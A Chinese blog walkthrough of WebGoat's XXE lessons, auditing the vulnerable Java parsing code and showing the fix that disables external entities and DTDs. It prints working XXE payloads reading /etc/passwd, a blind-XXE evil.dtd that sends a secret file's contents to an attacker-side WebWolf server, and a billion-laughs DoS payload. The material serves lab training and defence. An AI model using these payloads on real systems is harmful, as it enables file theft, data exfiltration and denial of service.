Java代码审计——WebGoat XML外部实体注入(XXE)

news2025/2/26 9:55:37

目录

前言:

0x01 Let’s try

 0x02 代码分析

2.1 安全的代码

0x03  Modern REST framework

3.1 解题:

3.2  改为xml格式:

3.3 源码分析:

3.4 参考解决方案

0x04 Blind XXE assignment

0x05XXE DOS attack

参考文章:


前言:

        在进行代码分析之前,要先懂漏洞产生的原理,不妨看看这篇文章,WebGoat上面描述的也不错,值得研读。

 

0x01 Let’s try


我们直接来看一下题目

题目的意思是让我们列出root下的文件,可以看到这里只有一个评论的功能

 发现传输的格式是xml,很简单我们引入我们的dtd文件就可以了

<!DOCTYPE ANY [
       <!ENTITY js SYSTEM "file:///etc/passwd">
]>

 

首先我们得知道为什么会出现xxe的问题,这里分为三步:

首先,我们的功能点得解析我们的xml格式的数据(也就是xml数据我们是可控的)

其次,得允许dtd实体的引入

那么我们接下来来看一下代码是哪里出现问题并且进行定位一下

路由是 /xxe/simple 直接全局搜索

 首先看到代码中,我们的评论是被Comment类封装的,然后利用Comments类中的parsexml来解析我们传递过去的xml格式的内容

跟过去看一下

查看下面这段代码可以发现,我们能控制我们输入的xml 同时也没有对实体进行一个限定,所以导致我们传入的xml能被正常解析从而执行命令

 那么如何进行修复呢?

其实也比较简单,就是添加两行代码就行了,将支持外部实体和支持dtd都给禁止

 0x02 代码分析


2.1 安全的代码

package XXE;

import lombok.var;

import javax.xml.bind.JAXBContext;
import javax.xml.bind.JAXBException;
import javax.xml.stream.XMLInputFactory;
import javax.xml.stream.XMLStreamException;
import java.io.StringReader;

public class XXERepair {

    public void Repair() throws JAXBException, XMLStreamException {
        String xml = "<?xml version=\"1.0\"?>\n" +
                "<!DOCTYPE doc [ \n" +
                "<!ENTITY xxe SYSTEM \"file:///etc/passwd\">\n" +
                "]><comment><text>&xxe;</text></comment>";
        var jc = JAXBContext.newInstance(Comment.class);
        // 创建了我们的工厂 读取xml的一个工厂
        var xif = XMLInputFactory.newInstance();
        // 不支持外部实体
        xif.setProperty(XMLInputFactory.IS_SUPPORTING_EXTERNAL_ENTITIES, false);
        // 不支持dtd
        xif.setProperty(XMLInputFactory.SUPPORT_DTD, false);
        var xsr = xif.createXMLStreamReader(new StringReader(xml));
        // 将我们的xml 变成我们的java对象
        var unmarshaller = jc.createUnmarshaller();
        unmarshaller.unmarshal(xsr);

    }


    public static void main(String[] args) throws JAXBException, XMLStreamException {

        XXERepair test = new XXERepair();
        test.Repair();
    }
}

这里直接把webgoat的拿过来了

Comment 类

package XXE;


import lombok.AllArgsConstructor;
import lombok.Getter;
import lombok.NoArgsConstructor;
import lombok.Setter;

import javax.xml.bind.annotation.XmlRootElement;

@Getter
@Setter
@AllArgsConstructor
@NoArgsConstructor
@XmlRootElement
public class Comment {
    private String user;
    private String dateTime;
    private String text;
}

0x03  Modern REST framework


在现代REST框架中,服务器可能能够接受您作为开发人员没有考虑过的数据格式。 因此,这可能会导致JSON端点容易受到XXE攻击。

同样的练习,但尝试执行与第一次赋值中相同的XML注入。 

3.1 解题

3.2  改为xml格式:

3.3 源码分析

webgoat/xxe/ContentTypeAssignment.java

  • 代码根据contentType判断数据格式,之后xml的解析和XXE-04一样,所以同样存在XXE

3.4 参考解决方案

这个赋值背后的想法是,虽然应用程序看起来只接受JSON,但如果我们将消息体更改为XML,框架可能会处理它。 当你尝试输入评论时,请求体将是: 

{"text":"My first comment"}
  • 这是一个普通的json消息,让我们试着改变请求的内容类型

POST http://localhost:8080/WebGoat/xxe/content-type HTTP/1.1
Content-Type: application/xml

{"text":"My first comment"}
  • 引发此错误警告

javax.xml.bind.UnmarshalException\n - with linked exception:\n[javax.xml.stream.XMLStreamException: ParseError at [row,col]:[1,1]\nMessage: Content is not allowed in prolog.
  • 根据XML解析器的不同,您可能会得到更详细的错误消息,在这种情况下,消息有点神秘,这意味着我们没有发送有效的XML。 例如,Jackson库给出以下信息: 

JSON parse error: Unexpected character '{' (code 123) in prolog; expected
      '<'\n at [row,col {unknown-source}]: [1,1]; nested exception is com.fasterxml.jackson.core.JsonParseException:
      Unexpected character '{' (code 123) in prolog; expected '<'\n at [row,col {unknown-source}]: [1,1]“
  • 这个错误消息出现是因为我们请求体的内容仍然是json格式,所以如果我们拦截并更改json消息为xml消息: 

POST http://localhost:8080/WebGoat/xxe/content-type HTTP/1.1
Content-Type: application/xml

<text>This is my first message</text>
  •  返回错误消息: 

"javax.xml.bind.UnmarshalException\\n - with linked exception:\\n[com.sun.istack.SAXParseException2; lineNumber: 1; columnNumber: 7; unexpected element (uri:\\\"\\\", local:\\\"text\\\"). Expected elements are <{}comment>]
  • 解析器抱错消息不是有效的xml消息,需要嵌入到comment标签中:

POST http://localhost:8080/WebGoat/xxe/content-type HTTP/1.1
Content-Type: application/xml

<comment><text>This is my first message</text></comment>
  • 现在不再报错,如果在WebGoat中刷新页面,发布的评论就会出现。

为了攻击工作,我们需要发布: 

POST http://localhost:8080/WebGoat/xxe/content-type HTTP/1.1
Content-Type: application/xml

<!DOCTYPE user [<!ENTITY root SYSTEM "file:///"> ]><comment><text>&root;This is my first message</text></comment>

在一些公司的网络中,如果通过HTTP发送,一些网络设备可能会完全丢弃这个payload。 在这种情况下,POST不会返回响应,并且终端永远不会接收请求。 然而,这种保护的作用是有限的,因为相同的请求将在HTTPS设置中成功通过,而负载将被加密。 

0x04 Blind XXE assignment


我们只需要把我们的恶意dtd放在我们的webwolf上,然后发送payload远程调用我们的恶意dtd,然后发送到我们的webwolf上就行了

  • 首先是我们的evil.dtd

<!ENTITY % file SYSTEM "file:///Users/xxxx/.webgoat-v8.1.0//XXE/secret.txt">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://localhost:9090/%file;'>">
  • 然后发送payload
<?xml version="1.0"?>
<!DOCTYPE convert [ 
<!ENTITY % remote SYSTEM "http://localhost:9090/files/admin123/test2.dtd">
%remote;%int;%send;
]>
<comment>  <text>111</text></comment>

  • 然后请求就发送过来了

 

我们只需要url解码一下就行了

源码层面其实还是一样的,无非就是不返回我们的信息了

 这里有个if判断不让我们直接使用file协议进行直接读取,所以要读取只能借助evil.dtd

  •  注入

 产生的流量

 

0x05 XXE DOS attack


使用同样的XXE攻击,我们可以对服务器执行DOS服务攻击。 这种攻击的一个例子是: 

十亿笑脸DOS攻击

<?xml version="1.0"?>
<!DOCTYPE lolz [
 <!ENTITY lol "lol">
 <!ELEMENT lolz (#PCDATA)>
 <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
 <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
 <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
 <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
 <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
 <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
 <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
 <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
 <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>

当XML解析器加载该文档时,它看到它包含一个根元素“lolz”,其中包含文本“&lol9;”。然而,“&lol9;”是一个定义的实体,它扩展为一个包含十个“&lol8;”字符串。 每个“&lol8;”字符串都是一个被定义的实体,扩展为10个“&lol7;”字符串,以此类推。 在处理完所有实体扩展之后,这个小的(< 1 KB) XML块实际上将占用几乎3g的内存。

参考文章:

java - 使用 JAXB 防止 XXE 攻击 - IT工具网

https://cloud.tencent.com/developer/article/1537654

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/9913.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

“百花齐放、百家争鸣”,数据可视化呈现我国科学文化的发展

公共财政对文化建设的支持日益加强&#xff0c;公共文化设施不断完善&#xff0c;覆盖城乡的公共文化服务网络初步建立&#xff0c;公共文化服务理念逐步深化&#xff0c;公共文化服务能力和均等化水平逐渐提高&#xff1b;文化产业投资向发展水平较低的中西部地区倾斜&#xf…

node.js+Express框架,前端自己创建接口

目录 一、安装 1、安装node.js 2、安装Express框架 3、安装nodemon 二、写接口 三、连接数据库 1、安装&#xff1a; 2、连接数据库 3、执行 四、注意事项 1、跨域 这篇文章看完如果您觉得有所收获&#xff0c;认为还行的话&#xff0c;就点个赞收藏一下呗 一、安装…

多线程详细介绍

一、分类 创建线程的四种方法&#xff1a; &#xff08;1&#xff09;继承Thread &#xff08;2&#xff09;实现Runnable &#xff08;3&#xff09;实现Callable &#xff08;4&#xff09;线程池创建一个新的线程可以通过继承Thread类或者实现Runnable接口来实现&#xff0…

JAVA基础—面向对象

1、面向对象介绍 2、类和对象 2.1、如何定义类、得到类的对象、使用对象 2.2、类和对象的总结 2.3、定义类的补充事项—测试类与Javabean类 成员变量一般无需指定初始值&#xff0c;存在默认值。 但是局部变量必须定义初始值。 2.4、定义类的注意事项 2.4.1、驼峰模式 单词…

容器docker安装,以及paddle容器环境安装

例如 一台新的 服务器部署环境 1.环境服务器部署 第一步:查看显卡的驱动是否装好了,可以用nvidia-smi,正常显示表示已经安装 上面版本没有问题,但是下面版本驱动本本比较低,不支持11.2cuda安装,要更新驱动 docker, nvidia-docker 安装之前先确认如下三个 paddle 2.3 …

Win11 KB5019157(22000.1281)11月累积补丁推送了!

微软在最新推出的KB5019157更新补丁中修复了Microsoft Store更新等多个错误&#xff0c;但是仍然存在Direct Access问题。Win11用户安装之后即可升级至22000.1281&#xff0c;下面就来看看详细内容。 重要信息 KB5019157累积更新补丁 它解决了 Microsoft Store 的一些持续更新失…

shell中通配符的使用

shell中的通配符与正则表达式是不同的两种功能。 正则表达式一般不会在bash直接应用&#xff0c;需要使用sed、grep、awk来解释正则表达式。 通配符则可以通过bash直接解释&#xff0c;一般用作名称展开。 bash中可以使用的通配符符号包括&#xff1a;*、?、{}、[]、^ 这些…

【环境配置笔记】基于clang15搭建liunx内核代码阅读环境

环境&#xff1a; Toolchain&#xff08;yocto导出&#xff09;Linux5-15&#xff0c;arm64VS codeclangd15.0.3 1. VScode配置 在VS code / VS code server中配置以下插件&#xff1a; ClangdC/CC/C Extension PackC/C SnippetsCode RunnerCode Spell CheckercompareitDev…

拖拽页面元素+flip动画的案例

先上效果&#xff1a; 实现思路和流程&#xff1a; 基础页面布局 给每个拖动元素加上 draggable"true"ondragstart(开始拖动某个元素时)做出 对应的处理 获得操作的具体元素 给目标元素添加对应的样式 显示透明 增加虚线描边ondragover 被拖动的元素hover到目标元素…

java计算机毕业设计ssm养老管理系统-敬老院系统

项目介绍 1.登录页面要有验证码 2.在健康信息模块中有三个小模块分别是饮食信息、身体信息、医疗常识,饮食信息就是护工每天负责老人的饮食搭配包括;早中晚餐;各种菜谱、图片、注意事项等,身体信息就是老人的各项身体指标,医疗常识就是每一种病对应一种病例还有每天推送更新的关…

互联网获客经验分享(一)

现在的流量都很贵了。特别是公域的流量。在这样的情况下,我们如何从互联网上获取客户?满足我业务的需求呢。 今天为大家分享基础的方法,后续我们会不定期的分享一些互联网软件获客的经验,希望能够帮助到你。 流量的本质 不管是平台方还是用户,流量都是生命线。在这样的…

好心情心理咨询平台:独处≠孤独,独处对心理健康有多重要?

说到独处&#xff0c;有人认为那不就是自己一个人呆着嘛。 非也非也&#xff0c;独处其实不是要求远离人群&#xff0c;而是在信息与情感上与他人无交流&#xff0c;做到无社会互动&#xff0c;与人在网上聊天、打电话可都不能算是独处。 相反&#xff0c;自己一个人在图书馆…

ClickHouse Senior Course Ⅳ

序言 梳理一下ClickHouse的数据库引擎 首先了解下什么是数据库引擎(cuiyaonan2000163.com) 数据库引擎是用于存储、处理和保护数据的核心服务。利用数据库引擎可控制访问权限并快速处理事务&#xff0c;从而满足企业内大多数需要处理大量数据的应用程序的要求。 使用数据库引…

[附源码]java毕业设计健身房管理系统

项目运行 环境配置&#xff1a; Jdk1.8 Tomcat7.0 Mysql HBuilderX&#xff08;Webstorm也行&#xff09; Eclispe&#xff08;IntelliJ IDEA,Eclispe,MyEclispe,Sts都支持&#xff09;。 项目技术&#xff1a; SSM mybatis Maven Vue 等等组成&#xff0c;B/S模式 M…

《无障碍环境认证实施方案》发布

市场监管总局 中国残联关于印发 《无障碍环境认证实施方案》的通知 国市监认证发〔2022〕94号各省、自治区、直辖市和新疆生产建设兵团市场监管局&#xff08;厅、委&#xff09;、残联&#xff0c;各有关单位&#xff1a;现将《无障碍环境认证实施方案》印发给你们&#xff0…

【附源码】Python计算机毕业设计团结里小区疫情防控系统

项目运行 环境配置&#xff1a; Pychram社区版 python3.7.7 Mysql5.7 HBuilderXlist pipNavicat11Djangonodejs。 项目技术&#xff1a; django python Vue 等等组成&#xff0c;B/S模式 pychram管理等等。 环境需要 1.运行环境&#xff1a;最好是python3.7.7&#xff0c;…

【Java|golang】775. 全局倒置与局部倒置

给你一个长度为 n 的整数数组 nums &#xff0c;表示由范围 [0, n - 1] 内所有整数组成的一个排列。 全局倒置 的数目等于满足下述条件不同下标对 (i, j) 的数目&#xff1a; 0 < i < j < n nums[i] > nums[j] 局部倒置 的数目等于满足下述条件的下标 i 的数目&a…

KEGG信号通路富集分析

KEGG信号通路富集分析 当我们手头有转录组测序后的差异分析数据后&#xff0c;想更进一步的去分析这下差异基因在信号通路富集情况&#xff0c;其中一种办法是使用KEGG网站进行信号通路富集分析。 1. 通过uniprot将Gene name转换为GeneID UniProt网站中的ID mapping具有强大…

关于HTTP/1.1,HTTP/2和HTTP/3的区别与联系

HTTP/1.1 每当说起http/1.1就会想起以前叫外卖的方式&#xff0c;那个时候很多店都没有专门的外卖员&#xff0c;打电话叫外卖&#xff0c;老板那就会叫人送货来&#xff0c;但是这样的方式有一个很大的问题&#xff0c;店员总是忘记放筷子。于是&#xff0c;店员送完外卖以后…

揭秘:如何用主题公园的思路做一款VR高尔夫游戏

作为一个从没玩过高尔夫球的人&#xff0c;我竟然第一次VR游戏中找到了高尔夫球的乐趣。由Mighty Coconut开发的《Walkabout Mini Golf》是这样一款VR游戏&#xff0c;它将迷你高尔夫与各种虚拟场景结合&#xff0c;高尔夫并不是游戏的全部&#xff0c;但你必须进球才能解锁一个…